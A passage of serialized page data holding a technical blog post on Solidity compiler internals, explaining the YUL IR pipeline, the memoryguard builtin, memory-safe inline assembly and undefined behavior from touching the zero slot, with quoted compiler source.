opcodes",{"type":24,"tag":261,"props":36786,"children":36788},{"className":3859,"code":36787,"language":3861,"meta":7,"style":7}," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n",[36789],{"type":24,"tag":135,"props":36790,"children":36791},{"__ignoreMap":7},[36792,36822,36843,36855,36862,36874,36894,36902,36923],{"type":24,"tag":271,"props":36793,"children":36794},{"class":273,"line":274},[36795,36799,36804,36808,36813,36817],{"type":24,"tag":271,"props":36796,"children":36797},{"style":749},[36798],{"type":29,"value":5025},{"type":24,"tag":271,"props":36800,"children":36801},{"style":288},[36802],{"type":29,"value":36803}," (m_viaIR ",{"type":24,"tag":271,"props":36805,"children":36806},{"style":624},[36807],{"type":29,"value":30104},{"type":24,"tag":271,"props":36809,"children":36810},{"style":288},[36811],{"type":29,"value":36812}," m_generateIR ",{"type":24,"tag":271,"props":36814,"children":36815},{"style":624},[36816],{"type":29,"value":30104},{"type":24,"tag":271,"props":36818,"children":36819},{"style":288},[36820],{"type":29,"value":36821}," m_generateEwasm)\n",{"type":24,"tag":271,"props":36823,"children":36824},{"class":273,"line":284},[36825,36830,36834,36838],{"type":24,"tag":271,"props":36826,"children":36827},{"style":598},[36828],{"type":29,"value":36829}," generateIR",{"type":24,"tag":271,"props":36831,"children":36832},{"style":288},[36833],{"type":29,"value":606},{"type":24,"tag":271,"props":36835,"children":36836},{"style":624},[36837],{"type":29,"value":627},{"type":24,"tag":271,"props":36839,"children":36840},{"style":288},[36841],{"type":29,"value":36842},"contract);\n",{"type":24,"tag":271,"props":36844,"children":36845},{"class":273,"line":294},[36846,36850],{"type":24,"tag":271,"props":36847,"children":36848},{"style":749},[36849],{"type":29,"value":5025},{"type":24,"tag":271,"props":36851,"children":36852},{"style":288},[36853],{"type":29,"value":36854}," (m_generateEvmBytecode)\n",{"type":24,"tag":271,"props":36856,"children":36857},{"class":273,"line":303},[36858],{"type":24,"tag":271,"props":36859,"children":36860},{"style":288},[36861],{"type":29,"value":4203},{"type":24,"tag":271,"props":36863,"children":36864},{"class":273,"line":312},[36865,36869],{"type":24,"tag":271,"props":36866,"children":36867},{"style":749},[36868],{"type":29,"value":7512},{"type":24,"tag":271,"props":36870,"children":36871},{"style":288},[36872],{"type":29,"value":36873}," (m_viaIR)\n",{"type":24,"tag":271,"props":36875,"children":36876},{"class":273,"line":321},[36877,36882,36886,36890],{"type":24,"tag":271,"props":36878,"children":36879},{"style":598},[36880],{"type":29,"value":36881}," generateEVMFromIR",{"type":24,"tag":271,"props":36883,"children":36884},{"style":288},[36885],{"type":29,"value":606},{"type":24,"tag":271,"props":36887,"children":36888},{"style":624},[36889],{"type":29,"value":627},{"type":24,"tag":271,"props":36891,"children":36892},{"style":288},[36893],{"type":29,"value":36842},{"type":24,"tag":271,"props":36895,"children":36896},{"class":273,"line":330},[36897],{"type":24,"tag":271,"props":36898,"children":36899},{"style":749},[36900],{"type":29,"value":36901}," else\n",{"type":24,"tag":271,"props":36903,"children":36904},{"class":273,"line":339},[36905,36910,36914,36918],{"type":24,"tag":271,"props":36906,"children":36907},{"style":598},[36908],{"type":29,"value":36909}," compileContract",{"type":24,"tag":271,"props":36911,"children":36912},{"style":288},[36913],{"type":29,"value":606},{"type":24,"tag":271,"props":36915,"children":36916},{"style":624},[36917],{"type":29,"value":627},{"type":24,"tag":271,"props":36919,"children":36920},{"style":288},[36921],{"type":29,"value":36922},"contract, otherCompilers);\n",{"type":24,"tag":271,"props":36924,"children":36925},{"class":273,"line":347},[36926],{"type":24,"tag":271,"props":36927,"children":36928},{"style":288},[36929],{"type":29,"value":4385},{"type":24,"tag":25,"props":36931,"children":36932},{},[36933,36935,36942,36943,36950],{"type":29,"value":36934},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":24,"tag":32,"props":36936,"children":36939},{"href":36937,"rel":36938},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[36],[36940],{"type":29,"value":36941},"YulStack::optimize",{"type":29,"value":518},{"type":24,"tag":32,"props":36944,"children":36947},{"href":36945,"rel":36946},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[36],[36948],{"type":29,"value":36949},"Assembly::optimize",{"type":29,"value":41},{"type":24,"tag":25,"props":36952,"children":36953},{},[36954],{"type":29,"value":36955},"In total, there are four steps.",{"type":24,"tag":3834,"props":36957,"children":36958},{},[36959,36963,36968,36972],{"type":24,"tag":101,"props":36960,"children":36961},{},[36962],{"type":29,"value":36779},{"type":24,"tag":101,"props":36964,"children":36965},{},[36966],{"type":29,"value":36967},"Optimization of YUL IR",{"type":24,"tag":101,"props":36969,"children":36970},{},[36971],{"type":29,"value":36784},{"type":24,"tag":101,"props":36973,"children":36974},{},[36975],{"type":29,"value":36976},"Optimization of EVM opcodes",{"type":24,"tag":25,"props":36978,"children":36979},{},[36980],{"type":29,"value":36981},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":24,"tag":10670,"props":36983,"children":36984},{},[36985],{"type":24,"tag":25,"props":36986,"children":36987},{},[36988],{"type":29,"value":36989},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":24,"tag":25,"props":36991,"children":36992},{},[36993],{"type":29,"value":36994},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":24,"tag":25,"props":36996,"children":36997},{},[36998],{"type":29,"value":36999},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":24,"tag":25,"props":37001,"children":37002},{},[37003],{"type":29,"value":37004},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":24,"tag":62,"props":37006,"children":37008},{"id":37007},"guarantees",[37009],{"type":29,"value":37010},"Guarantees",{"type":24,"tag":25,"props":37012,"children":37013},{},[37014,37015,37022,37024,37029],{"type":29,"value":1422},{"type":24,"tag":32,"props":37016,"children":37019},{"href":37017,"rel":37018},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[36],[37020],{"type":29,"value":37021},"Solidity memory layout",{"type":29,"value":37023}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":24,"tag":10648,"props":37025,"children":37026},{},[37027],{"type":29,"value":37028},"no information about this layout",{"type":29,"value":41},{"type":24,"tag":25,"props":37031,"children":37032},{},[37033],{"type":29,"value":37034},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":24,"tag":25,"props":37036,"children":37037},{},[37038,37040,37046,37048,37054],{"type":29,"value":37039},"Introducing ",{"type":24,"tag":135,"props":37041,"children":37043},{"className":37042},[],[37044],{"type":29,"value":37045},"memoryguard",{"type":29,"value":37047},". If you've ever looked at the output of ",{"type":24,"tag":135,"props":37049,"children":37051},{"className":37050},[],[37052],{"type":29,"value":37053},"solc --ir",{"type":29,"value":37055},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":24,"tag":261,"props":37057,"children":37059},{"className":12193,"code":37058,"language":12192,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[37060],{"type":24,"tag":135,"props":37061,"children":37062},{"__ignoreMap":7},[37063,37081],{"type":24,"tag":271,"props":37064,"children":37065},{"class":273,"line":274},[37066,37071,37076],{"type":24,"tag":271,"props":37067,"children":37068},{"style":2058},[37069],{"type":29,"value":37070}," /// @src 0:26:371 \"contract ",{"type":24,"tag":271,"props":37072,"children":37073},{"style":278},[37074],{"type":29,"value":37075},"XXX",{"type":24,"tag":271,"props":37077,"children":37078},{"style":2058},[37079],{"type":29,"value":37080}," {...\"\n",{"type":24,"tag":271,"props":37082,"children":37083},{"class":273,"line":284},[37084,37089,37093,37098,37102,37106,37110,37115],{"type":24,"tag":271,"props":37085,"children":37086},{"style":598},[37087],{"type":29,"value":37088}," store",{"type":24,"tag":271,"props":37090,"children":37091},{"style":288},[37092],{"type":29,"value":606},{"type":24,"tag":271,"props":37094,"children":37095},{"style":477},[37096],{"type":29,"value":37097},"64",{"type":24,"tag":271,"props":37099,"children":37100},{"style":288},[37101],{"type":29,"value":158},{"type":24,"tag":271,"props":37103,"children":37104},{"style":598},[37105],{"type":29,"value":37045},{"type":24,"tag":271,"props":37107,"children":37108},{"style":288},[37109],{"type":29,"value":606},{"type":24,"tag":271,"props":37111,"children":37112},{"style":477},[37113],{"type":29,"value":37114},"0x80",{"type":24,"tag":271,"props":37116,"children":37117},{"style":288},[37118],{"type":29,"value":27401},{"type":24,"tag":25,"props":37120,"children":37121},{},[37122,37124,37131],{"type":29,"value":37123},"From ",{"type":24,"tag":32,"props":37125,"children":37128},{"href":37126,"rel":37127},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[36],[37129],{"type":29,"value":37130},"the documentation",{"type":29,"value":11845},{"type":24,"tag":10670,"props":37133,"children":37134},{},[37135],{"type":24,"tag":25,"props":37136,"children":37137},{},[37138,37140,37146,37148,37154,37156,37161],{"type":29,"value":37139},"The caller of ",{"type":24,"tag":135,"props":37141,"children":37143},{"className":37142},[],[37144],{"type":29,"value":37145},"let ptr := memoryguard(size)",{"type":29,"value":37147}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":24,"tag":135,"props":37149,"children":37151},{"className":37150},[],[37152],{"type":29,"value":37153},"[0, size)",{"type":29,"value":37155}," or the unbounded range starting at ",{"type":24,"tag":135,"props":37157,"children":37159},{"className":37158},[],[37160],{"type":29,"value":21648},{"type":29,"value":41},{"type":24,"tag":25,"props":37163,"children":37164},{},[37165,37167,37172,37174,37180],{"type":29,"value":37166},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":24,"tag":135,"props":37168,"children":37170},{"className":37169},[],[37171],{"type":29,"value":37045},{"type":29,"value":37173}," return ",{"type":24,"tag":135,"props":37175,"children":37177},{"className":37176},[],[37178],{"type":29,"value":37179},"size + 32",{"type":29,"value":37181},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":24,"tag":25,"props":37183,"children":37184},{},[37185,37187,37194,37196,37201,37203,37208],{"type":29,"value":37186},"An example of this optimization in practice ",{"type":24,"tag":32,"props":37188,"children":37191},{"href":37189,"rel":37190},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[36],[37192],{"type":29,"value":37193},"is the StackLimitEvader",{"type":29,"value":37195},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":24,"tag":10648,"props":37197,"children":37198},{},[37199],{"type":29,"value":37200},"only",{"type":29,"value":37202}," optimization pass that relies on the semantic information communicated by ",{"type":24,"tag":135,"props":37204,"children":37206},{"className":37205},[],[37207],{"type":29,"value":37045},{"type":29,"value":41},{"type":24,"tag":25,"props":37210,"children":37211},{},[37212],{"type":29,"value":37213},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":24,"tag":25,"props":37215,"children":37216},{},[37217,37219,37225],{"type":29,"value":37218},"Fear not, for we can remove this pointer entirely and call ",{"type":24,"tag":135,"props":37220,"children":37222},{"className":37221},[],[37223],{"type":29,"value":37224},"memoryguard(0x60)",{"type":29,"value":37226}," instead. The rest of the pipeline will still work.",{"type":24,"tag":62,"props":37228,"children":37229},{"id":36741},[37230],{"type":29,"value":37231},"Memory Safety",{"type":24,"tag":25,"props":37233,"children":37234},{},[37235],{"type":29,"value":37236},"So what does memory safety mean?",{"type":24,"tag":25,"props":37238,"children":37239},{},[37240,37242,37248],{"type":29,"value":37241},"The Solidity documentation provides ",{"type":24,"tag":32,"props":37243,"children":37245},{"href":36716,"rel":37244},[36],[37246],{"type":29,"value":37247},"a set of constraints",{"type":29,"value":37249},", not a definition.",{"type":24,"tag":10670,"props":37251,"children":37252},{},[37253,37258],{"type":24,"tag":25,"props":37254,"children":37255},{},[37256],{"type":29,"value":37257},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":24,"tag":3834,"props":37259,"children":37260},{},[37261,37266,37271,37276],{"type":24,"tag":101,"props":37262,"children":37263},{},[37264],{"type":29,"value":37265},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":24,"tag":101,"props":37267,"children":37268},{},[37269],{"type":29,"value":37270},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":24,"tag":101,"props":37272,"children":37273},{},[37274],{"type":29,"value":37275},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":24,"tag":101,"props":37277,"children":37278},{},[37279],{"type":29,"value":37280},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":24,"tag":25,"props":37282,"children":37283},{},[37284,37286,37293,37303],{"type":29,"value":37285},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":24,"tag":32,"props":37287,"children":37290},{"href":37288,"rel":37289},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[36],[37291],{"type":29,"value":37292},"removes the memory guard",{"type":24,"tag":23171,"props":37294,"children":37295},{},[37296],{"type":24,"tag":32,"props":37297,"children":37301},{"href":37298,"ariaDescribedBy":37299,"dataFootnoteRef":7,"id":37300},"#user-content-fn-1",[23178],"user-content-fnref-1",[37302],{"type":29,"value":156},{"type":29,"value":41},{"type":24,"tag":261,"props":37305,"children":37307},{"className":3859,"code":37306,"language":3861,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[37308],{"type":24,"tag":135,"props":37309,"children":37310},{"__ignoreMap":7},[37311,37319,37327,37334,37370,37377,37385,37393,37401,37409,37417,37430,37443,37451],{"type":24,"tag":271,"props":37312,"children":37313},{"class":273,"line":274},[37314],{"type":24,"tag":271,"props":37315,"children":37316},{"style":2058},[37317],{"type":29,"value":37318},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":24,"tag":271,"props":37320,"children":37321},{"class":273,"line":284},[37322],{"type":24,"tag":271,"props":37323,"children":37324},{"style":2058},[37325],{"type":29,"value":37326},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":24,"tag":271,"props":37328,"children":37329},{"class":273,"line":294},[37330],{"type":24,"tag":271,"props":37331,"children":37332},{"emptyLinePlaceholder":16},[37333],{"type":29,"value":327},{"type":24,"tag":271,"props":37335,"children":37336},{"class":273,"line":303},[37337,37342,37347,37352,37356,37361,37366],{"type":24,"tag":271,"props":37338,"children":37339},{"style":3887},[37340],{"type":29,"value":37341},"string",{"type":24,"tag":271,"props":37343,"children":37344},{"style":288},[37345],{"type":29,"value":37346}," IRGenerator::",{"type":24,"tag":271,"props":37348,"children":37349},{"style":598},[37350],{"type":29,"value":37351},"memoryInit",{"type":24,"tag":271,"props":37353,"children":37354},{"style":288},[37355],{"type":29,"value":606},{"type":24,"tag":271,"props":37357,"children":37358},{"style":278},[37359],{"type":29,"value":37360},"bool",{"type":24,"tag":271,"props":37362,"children":37363},{"style":630},[37364],{"type":29,"value":37365}," _useMemoryGuard",{"type":24,"tag":271,"props":37367,"children":37368},{"style":288},[37369],{"type":29,"value":694},{"type":24,"tag":271,"props":37371,"children":37372},{"class":273,"line":312},[37373],{"type":24,"tag":271,"props":37374,"children":37375},{"style":288},[37376],{"type":29,"value":702},{"type":24,"tag":271,"props":37378,"children":37379},{"class":273,"line":321},[37380],{"type":24,"tag":271,"props":37381,"children":37382},{"style":2058},[37383],{"type":29,"value":37384}," // This function should be called at the beginning of the EVM call frame\n",{"type":24,"tag":271,"props":37386,"children":37387},{"class":273,"line":330},[37388],{"type":24,"tag":271,"props":37389,"children":37390},{"style":2058},[37391],{"type":29,"value":37392}," // and thus can assume all memory to be zero, including the contents of\n",{"type":24,"tag":271,"props":37394,"children":37395},{"class":273,"line":339},[37396],{"type":24,"tag":271,"props":37397,"children":37398},{"style":2058},[37399],{"type":29,"value":37400}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":24,"tag":271,"props":37402,"children":37403},{"class":273,"line":347},[37404],{"type":24,"tag":271,"props":37405,"children":37406},{"style":749},[37407],{"type":29,"value":37408}," return\n",{"type":24,"tag":271,"props":37410,"children":37411},{"class":273,"line":356},[37412],{"type":24,"tag":271,"props":37413,"children":37414},{"style":288},[37415],{"type":29,"value":37416}," Whiskers{\n",{"type":24,"tag":271,"props":37418,"children":37419},{"class":273,"line":365},[37420,37425],{"type":24,"tag":271,"props":37421,"children":37422},{"style":288},[37423],{"type":29,"value":37424}," _useMemoryGuard ",{"type":24,"tag":271,"props":37426,"children":37427},{"style":624},[37428],{"type":29,"value":37429},"?\n",{"type":24,"tag":271,"props":37431,"children":37432},{"class":273,"line":374},[37433,37438],{"type":24,"tag":271,"props":37434,"children":37435},{"style":378},[37436],{"type":29,"value":37437}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":24,"tag":271,"props":37439,"children":37440},{"style":624},[37441],{"type":29,"value":37442}," :\n",{"type":24,"tag":271,"props":37444,"children":37445},{"class":273,"line":384},[37446],{"type":24,"tag":271,"props":37447,"children":37448},{"style":378},[37449],{"type":29,"value":37450}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":24,"tag":271,"props":37452,"children":37453},{"class":273,"line":393},[37454],{"type":24,"tag":271,"props":37455,"children":37456},{"style":288},[37457],{"type":29,"value":13588},{"type":24,"tag":25,"props":37459,"children":37460},{},[37461,37466,37468,37474],{"type":24,"tag":135,"props":37462,"children":37464},{"className":37463},[],[37465],{"type":29,"value":37053},{"type":29,"value":37467}," will now no longer have ",{"type":24,"tag":135,"props":37469,"children":37471},{"className":37470},[],[37472],{"type":29,"value":37473},"memoryguard(0x80)",{"type":29,"value":37475}," as expected.",{"type":24,"tag":261,"props":37477,"children":37479},{"className":12193,"code":37478,"language":12192,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[37480],{"type":24,"tag":135,"props":37481,"children":37482},{"__ignoreMap":7},[37483,37498],{"type":24,"tag":271,"props":37484,"children":37485},{"class":273,"line":274},[37486,37490,37494],{"type":24,"tag":271,"props":37487,"children":37488},{"style":2058},[37489],{"type":29,"value":37070},{"type":24,"tag":271,"props":37491,"children":37492},{"style":278},[37493],{"type":29,"value":37075},{"type":24,"tag":271,"props":37495,"children":37496},{"style":2058},[37497],{"type":29,"value":37080},{"type":24,"tag":271,"props":37499,"children":37500},{"class":273,"line":284},[37501,37506,37510,37514,37518,37523],{"type":24,"tag":271,"props":37502,"children":37503},{"style":598},[37504],{"type":29,"value":37505}," mstore",{"type":24,"tag":271,"props":37507,"children":37508},{"style":288},[37509],{"type":29,"value":606},{"type":24,"tag":271,"props":37511,"children":37512},{"style":477},[37513],{"type":29,"value":37097},{"type":24,"tag":271,"props":37515,"children":37516},{"style":288},[37517],{"type":29,"value":158},{"type":24,"tag":271,"props":37519,"children":37520},{"style":477},[37521],{"type":29,"value":37522},"128",{"type":24,"tag":271,"props":37524,"children":37525},{"style":288},[37526],{"type":29,"value":694},{"type":24,"tag":25,"props":37528,"children":37529},{},[37530,37532,37537,37539,37544],{"type":29,"value":37531},"Semantically, the absence of ",{"type":24,"tag":135,"props":37533,"children":37535},{"className":37534},[],[37536],{"type":29,"value":37045},{"type":29,"value":37538}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":24,"tag":135,"props":37540,"children":37542},{"className":37541},[],[37543],{"type":29,"value":37045},{"type":29,"value":37545}," invariant.",{"type":24,"tag":10670,"props":37547,"children":37548},{},[37549],{"type":24,"tag":25,"props":37550,"children":37551},{},[37552,37553,37558,37559,37564,37565,37570],{"type":29,"value":37139},{"type":24,"tag":135,"props":37554,"children":37556},{"className":37555},[],[37557],{"type":29,"value":37145},{"type":29,"value":37147},{"type":24,"tag":135,"props":37560,"children":37562},{"className":37561},[],[37563],{"type":29,"value":37153},{"type":29,"value":37155},{"type":24,"tag":135,"props":37566,"children":37568},{"className":37567},[],[37569],{"type":29,"value":21648},{"type":29,"value":41},{"type":24,"tag":25,"props":37572,"children":37573},{},[37574],{"type":29,"value":37575},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":24,"tag":62,"props":37577,"children":37579},{"id":37578},"undefined-behavior",[37580],{"type":29,"value":37581},"Undefined Behavior",{"type":24,"tag":25,"props":37583,"children":37584},{},[37585,37587,37592,37594,37599,37601,37607],{"type":29,"value":37586},"How strict is memory safety? When it comes to ",{"type":24,"tag":135,"props":37588,"children":37590},{"className":37589},[],[37591],{"type":29,"value":37045},{"type":29,"value":37593},", only touching memory after 0x80 seems to matter. Is ",{"type":24,"tag":135,"props":37595,"children":37597},{"className":37596},[],[37598],{"type":29,"value":36706},{"type":29,"value":37600}," annotated assembly that touches memory at ",{"type":24,"tag":135,"props":37602,"children":37604},{"className":37603},[],[37605],{"type":29,"value":37606},"[0x40, 0x7f]",{"type":29,"value":37608}," really safe?",{"type":24,"tag":25,"props":37610,"children":37611},{},[37612,37613,37620,37622,37627],{"type":29,"value":1422},{"type":24,"tag":32,"props":37614,"children":37617},{"href":37615,"rel":37616},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[36],[37618],{"type":29,"value":37619},"Solidity documentation",{"type":29,"value":37621}," mentions ",{"type":24,"tag":10648,"props":37623,"children":37624},{},[37625],{"type":29,"value":37626},"undefined behavior",{"type":29,"value":37628}," three times.",{"type":24,"tag":3834,"props":37630,"children":37631},{},[37632,37637,37652],{"type":24,"tag":101,"props":37633,"children":37634},{},[37635],{"type":29,"value":37636},"The existence of a dangling reference",{"type":24,"tag":101,"props":37638,"children":37639},{},[37640,37642],{"type":29,"value":37641},"Using verbatim improperly",{"type":24,"tag":23171,"props":37643,"children":37644},{},[37645],{"type":24,"tag":32,"props":37646,"children":37650},{"href":37647,"ariaDescribedBy":37648,"dataFootnoteRef":7,"id":37649},"#user-content-fn-2",[23178],"user-content-fnref-2",[37651],{"type":29,"value":165},{"type":24,"tag":101,"props":37653,"children":37654},{},[37655],{"type":29,"value":37656},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":24,"tag":25,"props":37658,"children":37659},{},[37660],{"type":29,"value":37661},"Why does this matter?",{"type":24,"tag":25,"props":37663,"children":37664},{},[37665,37667,37674,37676,37683],{"type":29,"value":37666},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":24,"tag":32,"props":37668,"children":37671},{"href":37669,"rel":37670},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[36],[37672],{"type":29,"value":37673},"signed integer overflow is undefined",{"type":29,"value":37675},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":24,"tag":32,"props":37677,"children":37680},{"href":37678,"rel":37679},"https://blog.regehr.org/archives/1307",[36],[37681],{"type":29,"value":37682},"years down the line",{"type":29,"value":41},{"type":24,"tag":25,"props":37685,"children":37686},{},[37687,37689,37696,37697,37702],{"type":29,"value":37688},"Going back to Solidity, the specification makes ",{"type":24,"tag":32,"props":37690,"children":37693},{"href":37691,"rel":37692},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[36],[37694],{"type":29,"value":37695},"it unambiguously clear",{"type":29,"value":26223},{"type":24,"tag":10648,"props":37698,"children":37699},{},[37700],{"type":29,"value":37701},"Thou shalt not modify the zero slot",{"type":29,"value":41},{"type":24,"tag":10670,"props":37704,"children":37705},{},[37706],{"type":24,"tag":25,"props":37707,"children":37708},{},[37709],{"type":29,"value":37710},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":24,"tag":25,"props":37712,"children":37713},{},[37714,37716,37721],{"type":29,"value":37715},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":24,"tag":10648,"props":37717,"children":37718},{},[37719],{"type":29,"value":37720},"in Solidity",{"type":29,"value":41},{"type":24,"tag":25,"props":37723,"children":37724},{},[37725],{"type":29,"value":37726},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":24,"tag":3834,"props":37728,"children":37729},{},[37730],{"type":24,"tag":101,"props":37731,"children":37732},{},[37733,37735,37742],{"type":29,"value":37734},"It very clearly ",{"type":24,"tag":32,"props":37736,"children":37739},{"href":37737,"rel":37738},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[36],[37740],{"type":29,"value":37741},"holds true today",{"type":29,"value":41},{"type":24,"tag":261,"props":37744,"children":37746},{"className":3859,"code":37745,"language":3861,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[37747],{"type":24,"tag":135,"props":37748,"children":37749},{"__ignoreMap":7},[37750,37790,37797,37810,37882,37903,37954,37961],{"type":24,"tag":271,"props":37751,"children":37752},{"class":273,"line":274},[37753,37757,37762,37767,37771,37776,37781,37786],{"type":24,"tag":271,"props":37754,"children":37755},{"style":278},[37756],{"type":29,"value":37360},{"type":24,"tag":271,"props":37758,"children":37759},{"style":288},[37760],{"type":29,"value":37761}," IRGeneratorForStatements::",{"type":24,"tag":271,"props":37763,"children":37764},{"style":598},[37765],{"type":29,"value":37766},"visit",{"type":24,"tag":271,"props":37768,"children":37769},{"style":288},[37770],{"type":29,"value":606},{"type":24,"tag":271,"props":37772,"children":37773},{"style":3887},[37774],{"type":29,"value":37775},"InlineAssembly",{"type":24,"tag":271,"props":37777,"children":37778},{"style":278},[37779],{"type":29,"value":37780}," const&",{"type":24,"tag":271,"props":37782,"children":37783},{"style":630},[37784],{"type":29,"value":37785}," _inlineAsm",{"type":24,"tag":271,"props":37787,"children":37788},{"style":288},[37789],{"type":29,"value":694},{"type":24,"tag":271,"props":37791,"children":37792},{"class":273,"line":284},[37793],{"type":24,"tag":271,"props":37794,"children":37795},{"style":288},[37796],{"type":29,"value":702},{"type":24,"tag":271,"props":37798,"children":37799},{"class":273,"line":294},[37800,37805],{"type":24,"tag":271,"props":37801,"children":37802},{"style":598},[37803],{"type":29,"value":37804}," setLocation",{"type":24,"tag":271,"props":37806,"children":37807},{"style":288},[37808],{"type":29,"value":37809},"(_inlineAsm);\n",{"type":24,"tag":271,"props":37811,"children":37812},{"class":273,"line":303},[37813,37817,37821,37825,37830,37834,37839,37844,37849,37853,37857,37861,37865,37869,37873,37878],{"type":24,"tag":271,"props":37814,"children":37815},{"style":749},[37816],{"type":29,"value":5025},{"type":24,"tag":271,"props":37818,"children":37819},{"style":288},[37820],{"type":29,"value":1357},{"type":24,"tag":271,"props":37822,"children":37823},{"style":624},[37824],{"type":29,"value":627},{"type":24,"tag":271,"props":37826,"children":37827},{"style":630},[37828],{"type":29,"value":37829},"_inlineAsm",{"type":24,"tag":271,"props":37831,"children":37832},{"style":288},[37833],{"type":29,"value":41},{"type":24,"tag":271,"props":37835,"children":37836},{"style":598},[37837],{"type":29,"value":37838},"annotation",{"type":24,"tag":271,"props":37840,"children":37841},{"style":288},[37842],{"type":29,"value":37843},"().",{"type":24,"tag":271,"props":37845,"children":37846},{"style":630},[37847],{"type":29,"value":37848},"hasMemoryEffects",{"type":24,"tag":271,"props":37850,"children":37851},{"style":624},[37852],{"type":29,"value":989},{"type":24,"tag":271,"props":37854,"children":37855},{"style":624},[37856],{"type":29,"value":20564},{"type":24,"tag":271,"props":37858,"children":37859},{"style":630},[37860],{"type":29,"value":37829},{"type":24,"tag":271,"props":37862,"children":37863},{"style":288},[37864],{"type":29,"value":41},{"type":24,"tag":271,"props":37866,"children":37867},{"style":598},[37868],{"type":29,"value":37838},{"type":24,"tag":271,"props":37870,"children":37871},{"style":288},[37872],{"type":29,"value":37843},{"type":24,"tag":271,"props":37874,"children":37875},{"style":630},[37876],{"type":29,"value":37877},"markedMemorySafe",{"type":24,"tag":271,"props":37879,"children":37880},{"style":288},[37881],{"type":29,"value":694},{"type":24,"tag":271,"props":37883,"children":37884},{"class":273,"line":312},[37885,37890,37894,37899],{"type":24,"tag":271,"props":37886,"children":37887},{"style":630},[37888],{"type"